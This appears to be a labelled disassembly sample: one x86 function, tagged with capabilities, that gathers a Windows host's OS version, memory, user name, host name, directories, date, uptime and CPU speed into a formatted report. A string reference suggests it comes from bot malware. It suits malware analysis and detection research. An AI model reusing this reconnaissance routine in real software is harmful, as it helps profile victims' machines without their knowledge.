Function at 0x40794c
Capabilities:
Check os version
Get common file path
Get memory capacity
Get session user name

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x57c
mov dword [ebp - 0x1c], 0x424ca3
mov dword [ebp - 0xe0], 0x100
mov dword [ebp - 0x48], 0x20
lea eax, [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
call eax
sub esp, 4
mov dword [ebp - 0xdc], 0x94
lea eax, [ebp - 0xdc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetVersionExA]
call eax
sub esp, 4
mov eax, dword [ebp - 0xd8]
cmp eax, 4
jne 0x4079df
mov eax, dword [ebp - 0xd4]
test eax, eax
jne 0x4079df
mov eax, dword [ebp - 0xcc]
cmp eax, 1
jne 0x4079c4
mov dword [ebp - 0x20], 0x424ca7
mov eax, dword [ebp - 0xcc]
cmp eax, 2
jne 0x407a61
mov dword [ebp - 0x20], 0x424caa
jmp 0x407a61
mov eax, dword [ebp - 0xd8]
cmp eax, 4
jne 0x4079fe
mov eax, dword [ebp - 0xd4]
cmp eax, 0xa
jne 0x4079fe
mov dword [ebp - 0x20], 0x424cad
jmp 0x407a61
mov eax, dword [ebp - 0xd8]
cmp eax, 4
jne 0x407a1d
mov eax, dword [ebp - 0xd4]
cmp eax, 0x5a
jne 0x407a1d
mov dword [ebp - 0x20], 0x424cb0
jmp 0x407a61
mov eax, dword [ebp - 0xd8]
cmp eax, 5
jne 0x407a3b
mov eax, dword [ebp - 0xd4]
test eax, eax
jne 0x407a3b
mov dword [ebp - 0x20], str.2000
jmp 0x407a61
mov eax, dword [ebp - 0xd8]
cmp eax, 5
jne 0x407a5a
mov eax, dword [ebp - 0xd4]
cmp eax, 1
jne 0x407a5a
mov dword [ebp - 0x20], 0x424cb8
jmp 0x407a61
mov dword [ebp - 0x20], 0x424ca3
mov eax, dword [ebp - 0xcc]
cmp eax, 2
jne 0x407aaa
movzx eax, byte [ebp - 0xc8]
test al, al
je 0x407aaa
lea eax, [ebp - 0xdc]
add eax, 0x14
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s___s_
lea eax, [ebp - 0x16c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x20], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov edx, 0x10624dd3
mul edx
mov eax, edx
shr eax, 6
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0xe0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call eax
sub esp, 8
test eax, eax
jne 0x407ae5
mov dword [ebp - 0x1c], 0x424cc3
mov dword [ebp - 0x28], 0
mov dword [esp], str.000.000.000.000
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x174], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 4
lea eax, [ebp - 0x174]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_gethostbyaddr]
call eax
sub esp, 0xc
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x407b48
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [esp + 4], eax
lea eax, [ebp - 0x26e]
mov dword [esp], eax
call sym._sprintf
jmp 0x407b5e
mov dword [esp + 4], str.Cant_resolve_host
lea eax, [ebp - 0x26e]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x372]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call eax
sub esp, 8
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x476]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call eax
sub esp, 8
mov dword [esp + 0x14], 0x46
lea eax, [ebp - 0x4bc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.dd:MMM:yyyy
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x409
mov eax, dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0x46
lea eax, [ebp - 0x502]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.HH:mm:ss
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x409
mov eax, dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
call eax
sub esp, 0x18
mov ebx, dword [ebp - 0x24]
mov edx, 0xc22e4507
mov eax, ebx
imul edx
lea eax, [edx + ebx]
sar eax, 0x10
mov edx, eax
mov eax, ebx
sar eax, 0x1f
mov ecx, edx
sub ecx, eax
imul eax, ecx, 0x15180
sub ebx, eax
mov ecx, ebx
mov edx, 0x91a2b3c5
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 0xb
mov edx, eax
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0xe10
sub ecx, eax
mov ebx, ecx
mov edx, 0x88888889
mov eax, ebx
imul edx
lea eax, [edx + ebx]
sar eax, 5
mov edx, eax
mov eax, ebx
sar eax, 0x1f
mov esi, edx
sub esi, eax
mov ebx, dword [ebp - 0x24]
mov edx, 0xc22e4507
mov eax, ebx
imul edx
lea eax, [edx + ebx]
sar eax, 0x10
mov edx, eax
mov eax, ebx
sar eax, 0x1f
mov ecx, edx
sub ecx, eax
imul eax, ecx, 0x15180
sub ebx, eax
mov ecx, ebx
mov edx, 0x91a2b3c5
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 0xb
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov dword [ebp - 0x50c], edx
mov ecx, dword [ebp - 0x24]
mov edx, 0xc22e4507
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 0x10
mov edx, eax
sar ecx, 0x1f
mov eax, ecx
mov edi, edx
sub edi, eax
mov dword [ebp - 0x510], edi
mov ecx, dword [ebp - 0xd0]
mov dword [ebp - 0x514], ecx
mov ebx, dword [ebp - 0xd4]
mov dword [ebp - 0x518], ebx
mov edi, dword [ebp - 0xd8]
mov dword [ebp - 0x51c], edi
mov ebx, dword [ebp - 0x44]
mov dword [ebp - 0x520], ebx
mov eax, dword [ebp - 0x3c]
mov edi, eax
shr edi, 0x14
mov eax, dword [ebp - 0x40]
mov ebx, eax
shr ebx, 0x14
call sym._cpuspeed
mov edx, eax
lea eax, [ebp - 0x372]
mov dword [esp + 0x54], eax
lea eax, [ebp - 0x476]
mov dword [esp + 0x50], eax
lea eax, [ebp - 0x26e]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x48], str.000.000.000.000
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x44], eax
lea eax, [ebp - 0x502]
mov dword [esp + 0x40], eax
lea eax, [ebp - 0x4bc]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], esi
mov eax, dword [ebp - 0x50c]
mov dword [esp + 0x34], eax
mov eax, dword [ebp - 0x510]
mov dword [esp + 0x30], eax
mov ecx, dword [ebp - 0x514]
mov dword [esp + 0x2c], ecx
mov eax, dword [ebp - 0x518]
mov dword [esp + 0x28], eax
mov eax, dword [ebp - 0x51c]
mov dword [esp + 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x42159f
mov eax, dword [ebp - 0x520]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], edx
mov dword [esp + 8], str.tGbot_nt_pub
mov dword [esp + 4], 0x424cec
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp + 8]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret